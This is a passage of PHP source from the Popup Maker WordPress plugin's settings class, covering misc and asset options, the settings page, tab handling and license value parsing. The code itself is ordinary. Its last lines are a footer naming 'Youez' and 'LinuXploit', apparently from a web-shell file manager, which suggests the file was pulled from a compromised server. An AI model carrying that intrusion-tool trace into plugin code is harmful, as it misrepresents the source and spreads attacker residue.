									esc_html__( 'Use this if your popups "jump" or "shift" when opened. %1$sLearn more%2$s', 'popup-maker' ),
									'<a target="_blank" rel="noreferrer noopener" href="https://wppopupmaker.com/docs/popup-display-front-end-behavior/why-does-my-site-shift-jump-or-skip-when-a-popup-is-triggered/?utm_campaign=contextual-help&utm_medium=inline-doclink&utm_source=settings-page&utm_content=adjust-right-padding">',
									'</a>'
								),
							],
							'body_padding_override'      => [
								'type'         => 'text',
								'placeholder'  => '15px',
								'label'        => __( 'Body Padding Override', 'popup-maker' ),
								'dependencies' => [
									'adjust_body_padding' => true,
								],
								'std'          => '15px',
							],
							'disabled_admin_bar'         => [
								'type'  => 'checkbox',
								'label' => __( 'Disable Popups Admin Bar', 'popup-maker' ),
								'desc'  => __( 'This will disable the admin Popups menu item.', 'popup-maker' ),
							],
							'debug_mode'                 => [
								'type'  => 'checkbox',
								'label' => __( 'Enable Debug Mode', 'popup-maker' ),
								'desc'  => __( 'This will turn on multiple debug tools used to quickly find issues.', 'popup-maker' ),
							],
							'enable_easy_modal_compatibility_mode' => [
								'type'  => 'checkbox',
								'label' => __( 'Enable Easy Modal v2 Compatibility Mode', 'popup-maker' ),
								'desc'  => __( 'This will automatically make any eModal classes you have added to your site launch the appropriate Popup after import.', 'popup-maker' ),
							],
							'disable_popup_category_tag' => [
								'type'  => 'checkbox',
								'label' => __( 'Disable categories & tags?', 'popup-maker' ),
								'desc'  => __( 'This will disable the popup tags & categories.', 'popup-maker' ),
							],
							'disable_asset_caching'      => [
								'type'  => 'checkbox',
								'label' => __( 'Disable asset caching.', 'popup-maker' ),
								'desc'  => __( 'By default Popup Maker caches a single JS & CSS file in your Uploads folder. These files include core, extension & user customized styles & scripts in a single set of files.', 'popup-maker' ),
							],
							'disable_shortcode_ui'       => [
								'type'  => 'checkbox',
								'label' => __( 'Disable the Popup Maker shortcode button', 'popup-maker' ),
							],
							'disable_tips'               => [
								'type'  => 'checkbox',
								'label' => __( 'Disable Popup Maker occasionally showing random tips to improve your popups.', 'popup-maker' ),
							],
							'disable_notices'            => [
								'type'  => 'checkbox',
								'label' => __( 'Disable Popup Maker occasionally showing community notices such as security alerts, new features or sales on our extensions.', 'popup-maker' ),
							],
							'complete_uninstall'         => [
								'type'     => 'checkbox',
								'label'    => __( 'Delete all Popup Maker data on deactivation', 'popup-maker' ),
								'desc'     => __( 'Check this to completely uninstall Popup Maker.', 'popup-maker' ),
								'priority' => 1000,
							],
						],
						'assets' => [
							'disable_google_font_loading' => [
								'type'  => 'checkbox',
								'label' => __( "Don't Load Google Fonts", 'popup-maker' ),
								'desc'  => __( ' This stops Popup Maker from loading Google Fonts, useful if the fonts you chose are already loaded with your theme.', 'popup-maker' ),
							],
							'disable_popup_maker_core_styles' => [
								'type'  => 'checkbox',
								'label' => __( 'Don\'t load Popup Maker core stylesheet.', 'popup-maker' ),
								'desc'  => __( 'Check this if you have copied the Popup Maker core styles to your own stylesheet or are using custom styles.', 'popup-maker' ),
							],
							'disable_popup_theme_styles'  => [
								'type'  => 'checkbox',
								'label' => __( 'Don\'t load popup theme styles to the head.', 'popup-maker' ),
								'desc'  => __( 'Check this if you have copied the popup theme styles to your own stylesheet or are using custom styles.', 'popup-maker' ),
							],
							'output_pum_styles'           => [
								'id'      => 'output_pum_styles',
								'type'    => 'html',
								'content' => self::field_pum_styles(),
							],
						],
					],
				]
			);

			$fields = apply_filters( 'pum_settings_fields', $fields );

			$fields = PUM_Admin_Helpers::parse_tab_fields(
				$fields,
				[
					'has_subtabs' => true,
					'name'        => 'pum_settings[%s]',
				]
			);
		}

		return $fields;
	}

	/**
	 * @return string
	 */
	public static function field_pum_styles() {
		$core_styles = file_get_contents( Popup_Maker::$DIR . 'assets/css/pum-site' . ( is_rtl() ? '-rtl' : '' ) . PUM_Site_Assets::$suffix . '.css' );

		$user_styles = PUM_AssetCache::generate_font_imports() . PUM_AssetCache::generate_popup_theme_styles() . PUM_AssetCache::generate_popup_styles();

		// Prevent both raw and HTML-encoded variations of textarea tag
		// This regex prevents both HTML and HTML-encoded textarea tags:
		// (<\/?\s*|&lt;\/?\s*) - Matches either < or &lt; optionally followed by /, with optional whitespace
		// t\s*e\s*x\s*t\s*a\s*r\s*e\s*a\b - Matches "textarea" with optional whitespace between letters
		// /i flag makes it case-insensitive
		$safe_user_styles = preg_replace(
			'/(<\/?\s*|&lt;\/?\s*)t\s*e\s*x\s*t\s*a\s*r\s*e\s*a\b/i',
			'',
			$user_styles
		);

		ob_start();

		?>
		<button type="button" id="show_pum_styles" onclick="jQuery('#pum_style_output').slideDown();jQuery(this).hide();"><?php esc_html_e( 'Show Popup Maker CSS', 'popup-maker' ); ?></button>
		<p class="pum-desc desc"><?php __( "Use this to quickly copy Popup Maker's CSS to your own stylesheet.", 'popup-maker' ); ?></p>

		<div id="pum_style_output" style="display:none;">
			<label for="pum_core_styles"><?php esc_html_e( 'Core Styles', 'popup-maker' ); ?></label> <br />

			<textarea id="pum_core_styles" wrap="off" style="white-space: pre; width: 100%; min-height: 200px;" readonly="readonly">
				<?php
				// Ignored because this is generated CSS.
				echo esc_html( $core_styles );
				?>
			</textarea>

			<br /> <br />

			<label for="pum_generated_styles"><?php esc_html_e( 'Generated Popup & Popup Theme Styles', 'popup-maker' ); ?></label> <br />

			<textarea id="pum_generated_styles" wrap="off" style="white-space: pre; width: 100%; min-height: 200px;" readonly="readonly">
				<?php
				echo esc_html( $safe_user_styles );
				?>
			</textarea>
		</div>

		<?php

		return ob_get_clean();
	}


	/**
	 * @return array
	 */
	public static function user_role_options() {
		global $wp_roles;

		$options = [];
		foreach ( $wp_roles->roles as $role => $labels ) {
			$options[ $role ] = $labels['name'];
		}

		return $options;
	}

	/**
	 * Render settings page with tabs.
	 */
	public static function page() {

		$settings = PUM_Utils_Options::get_all();

		if ( empty( $settings ) ) {
			$settings = self::defaults();
		}

		?>

		<div class="wrap">

			<form id="pum-settings" method="post" action="">

				<?php wp_nonce_field( 'pum_settings_nonce', 'pum_settings_nonce' ); ?>
				<h1><?php esc_html_e( 'Popup Maker Settings', 'popup-maker' ); ?></h1>
				<div id="pum-settings-container" class="pum-settings-container">
					<div class="pum-no-js" style="padding: 0 12px;">
						<p>
						<?php
						printf(
							/* translators: 1. URL to troubleshooting guide. 2. Closing tag. */
							esc_html__( 'If you are seeing this, the page is still loading or there are Javascript errors on this page. %1$sView troubleshooting guide%2$s', 'popup-maker' ),
							'<a href="https://wppopupmaker.com/docs/problem-solving/checking-javascript-errors/" target="_blank">',
							'</a>'
						);
						?>
								</p>
					</div>
				</div>

				<script type="text/javascript">
					window.pum_settings_editor =
					<?php
					// phpcs:disable WordPress.Security.EscapeOutput.OutputNotEscaped
					echo PUM_Utils_Array::safe_json_encode(
						apply_filters(
							'pum_settings_editor_args',
							[
								'form_args'      => [
									'id'       => 'pum-settings',
									'tabs'     => self::tabs(),
									'sections' => self::sections(),
									'fields'   => self::fields(),
									'maintabs' => [
										'meta' => [
											'data-min-height' => 0,
										],
									],
								],
								'active_tab'     => self::get_active_tab(),
								'active_section' => self::get_active_section(),
								'current_values' => self::parse_values( $settings ),
							]
						)
					);
					// phpcs:enable WordPress.Security.EscapeOutput.OutputNotEscaped
					?>
					;
				</script>

				<button class="button-primary bottom" style="margin-left: 156px;"><?php esc_html_e( 'Save', 'popup-maker' ); ?></button>

			</form>

		</div>

		<?php
	}

	/**
	 * @return array
	 */
	public static function defaults() {
		$tabs = self::fields();

		$defaults = [];

		foreach ( $tabs as $section_id => $fields ) {
			foreach ( $fields as $key => $field ) {
				$defaults[ $key ] = isset( $field['std'] ) ? $field['std'] : null;
			}
		}

		return $defaults;
	}

	/**
	 * List of tabs & labels for the settings panel.
	 *
	 * @return array
	 */
	public static function tabs() {
		static $tabs;

		if ( ! isset( $tabs ) ) {
			$tabs = apply_filters(
				'pum_settings_tabs',
				[
					'general'       => __( 'General', 'popup-maker' ),
					'subscriptions' => __( 'Subscriptions', 'popup-maker' ),
					'extensions'    => __( 'Extensions', 'popup-maker' ),
					'licenses'      => __( 'Licenses', 'popup-maker' ),
					'privacy'       => __( 'Privacy', 'popup-maker' ),
					'misc'          => __( 'Misc', 'popup-maker' ),
				]
			);

			/** @deprecated 1.7.0 */
			$tabs = apply_filters( 'popmake_settings_tabs', $tabs );
		}

		return $tabs;
	}

	/**
	 * List of tabs & labels for the settings panel.
	 *
	 * @return array
	 */
	public static function sections() {
		return apply_filters(
			'pum_settings_tab_sections',
			[
				'general'       => [
					'main' => __( 'General', 'popup-maker' ),
				],
				'subscriptions' => [
					'main' => __( 'General', 'popup-maker' ),
				],
				'extensions'    => [
					'main' => __( 'Extension Settings', 'popup-maker' ),
				],
				'licenses'      => [
					'main' => __( 'Licenses', 'popup-maker' ),
				],
				'privacy'       => [
					'main'  => __( 'General', 'popup-maker' ),
					'forms' => __( 'Subscription Forms', 'popup-maker' ),
				],
				'misc'          => [
					'main'   => __( 'Misc', 'popup-maker' ),
					'assets' => __( 'Assets', 'popup-maker' ),
				],
			]
		);
	}

	/**
	 * @return int|null|string
	 */
	public static function get_active_tab() {
		$tabs = self::tabs();

		// Ignore because we only accept explitly valid tabs.
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended
		$tab = isset( $_GET['tab'] ) ? sanitize_key( wp_unslash( $_GET['tab'] ) ) : '';

		return array_key_exists( $tab, $tabs ) ? $tab : key( $tabs );
	}

	/**
	 * @return bool|int|null|string
	 */
	public static function get_active_section() {
		$active_tab = self::get_active_tab();
		$sections   = self::sections();

		$tab_sections = ! empty( $sections[ $active_tab ] ) ? $sections[ $active_tab ] : false;

		if ( ! $tab_sections ) {
			return false;
		}

		// Ignore because we only accept explitly valid tabs.
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended
		$section = isset( $_GET['section'] ) ? sanitize_key( wp_unslash( $_GET['section'] ) ) : '';

		return array_key_exists( $section, $tab_sections ) ? $section : key( $tab_sections );
	}

	/**
	 * Parse values for form rendering.
	 *
	 * Add additional data for license_key fields, split the measure fields etc.
	 *
	 * @param $settings
	 *
	 * @return mixed
	 */
	public static function parse_values( $settings ) {

		foreach ( $settings as $key => $value ) {
			$field = self::get_field( $key );

			if ( $field ) {

				/**
				 * Process fields with specific types.
				 */
				switch ( $field['type'] ) {
					case 'measure':
						break;
					case 'license_key':
						$license = get_option( $field['options']['is_valid_license_option'] );

						$settings[ $key ] = [
							'key'      => trim( $value ),
							'status'   => PUM_Licensing::get_status( $license, ! empty( $value ) ),
							'messages' => PUM_Licensing::get_status_messages( $license, trim( $value ) ),
							'expires'  => PUM_Licensing::get_license_expiration( $license ),
							'classes'  => PUM_Licensing::get_status_classes( $license ),
						];
						break;
				}
			}
		}

		return $settings;
	}

	/**
	 *
	 */
	public static function license_deactivated() {
	}

	/**
	 * @param array $meta
	 *
	 * @return array
	 */
	public static function sanitize_objects( $meta = [] ) {
		if ( ! empty( $meta ) ) {
			foreach ( $meta as $key => $value ) {
				if ( is_string( $value ) ) {
					try {
						$value = json_decode( stripslashes( $value ) );
					} catch ( Exception $e ) {
						$e;
					}
				}

				$meta[ $key ] = PUM_Admin_Helpers::object_to_array( $value );
			}
		}

		return $meta;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit